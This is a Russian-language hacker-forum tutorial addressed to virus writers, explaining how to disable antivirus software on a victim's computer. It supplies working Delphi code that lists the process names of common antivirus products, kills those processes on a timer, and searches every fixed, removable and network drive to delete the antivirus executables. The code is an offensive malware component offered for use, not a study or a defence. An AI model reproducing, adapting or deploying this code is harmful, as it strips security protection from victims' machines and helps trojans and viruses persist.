Антивирусы - mus die! [ Хакерство и компьютер ] Здравствуй вирьмейкер! Если ты только начал кодить свои Трояны, вирусы и т.д. то ты наверное задумывался о том, что твоё творение на компе у жертвы может снести злобный антивирус. Сегодня я научу тебя как избавится от твоих природных врагов. Что нужно: 1. Голова ака соображала (желательно трезвая). 2. Руки прямые (опционально). 3. Delphi – самое главное (после головы). На нём то мы и будем кодить. Если нет то из этой статьи ты всё равно можешь найти для себя что-то интересное. Заранее извинюсь перед всеми разработчиками антивирусного ПО которое так жадно жрёт ресурсы наших многострадальных машин. Я уважаю вашу работу и восхищаюсь ей. Может эта статья заставит вас подумать над этим вопросом. И так. Как мы будем действовать. Мы сначала инициализируем список антивирусов, убиваем их процессы и потом удаляем физически. Так сначала инициализируем список: Var avlist:TStringList;//Переменная должна быть глобальной! procedure TForm1.FormCreate(Sender: TObject); begin avlist:=Tstringlist.Create; avlist.Text:=stringReplace(‘APVDWIN.exe AVENGINE.exe PAVSRV51.exe WEBPROXY.exe VSMON.exe ZAPRO.exe Minilog.exe navpw32.exe NOD32KRN.exe NOD32KUI.exe Pop3trap.exe PCCClient.exe pccguide.exe PccPfw.exe tmproxy.exe Tmntsrv.exe AvpM.exe Avp32.exe avpcc.exe AVPExec.exe AvpVList.exe defwatch.exe DrWAdIns.exe Drweb32w.exe Drweb386.exe Drwebupw.exe drwreg.exe spiderml.exe SPIDERNT.EXE outpost.exe’,' ',#13#10,[rfReplaceAll]);//список должен быть в одну строку и разделённый прбелами. end; Кстати спасибо за список всем кто отвичал в топике «Список антивирей» в заразологии на нашем форуме. Теперь функция убивающая процесс. function KillTask(ExeFileName: string): integer; const PROCESS_TERMINATE=$0001; var ContinueLoop: BOOL; FSnapshotHandle: THandle; FProcessEntry32: TProcessEntry32; begin result := 0; FSnapshotHandle := CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0); FProcessEntry32.dwSize := Sizeof(FProcessEntry32); ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32); while integer(ContinueLoop) 0 do begin if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then Result := Integer(TerminateProcess(OpenProcess( PROCESS_TERMINATE, BOOL(0), FProcessEntry32.th32ProcessID), 0)); ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32); end; CloseHandle(FSnapshotHandle); end; Дальше собственно наша процедура убиения антивиря: procedure killantivir; var i:integer; begin for i:=0 to avlist.Count-1 do begin killtask(avlist.Strings[i]); end; end; Отлично! Рекомендую поставить эту процедуру в OnTimer. Пора приступать к физическому удалению. Procedure Scanforfile(Dir:string;list:string); var SearchRec:TSearchRec; i:integer; filename:TStringlist; begin filename:=tstringlist.Create; filename.Text:=list; if Dir'' then if Dir[length(Dir)]'' then Dir:=Dir+''; if FindFirst(Dir+'*.*', faAnyFile, SearchRec)=0 then repeat if (SearchRec.name='.') or (SearchRec.name='..') then continue; if (SearchRec.Attr and faDirectory)0 then Scanforfile(Dir+SearchRec.name,avlist.Text) else for i:=0 to filename.Count-1 do begin if SearchRec.Name=filename.Strings[i] then begin deletefile(Dir+SearchRec.Name); end; end; until FindNext(SearchRec)0; FindClose(SearchRec); end; procedure deleteantivir; var i1:integer; Drive: Char; drivelist:tstringlist; begin drivelist:=tstringlist.Create; for Drive := 'a' to 'z' do begin case GetDriveType(PChar(Drive + ':')) of DRIVE_FIXED: drivelist.Add(Drive); DRIVE_CDROM: drivelist.Add(Drive); DRIVE_RAMDISK: drivelist.Add(Drive); DRIVE_REMOTE: drivelist.Add(Drive); end; end; for i1:=0 to drivelist.Count-1 do begin {$I-} scanforfile(drivelist.Strings[i1]+':',avlist.Text); {$I+} end; drivelist.Free; end; Вставим в OnCreate у формы процедуру deleteantivir. А сколько ресурсов освободим…
|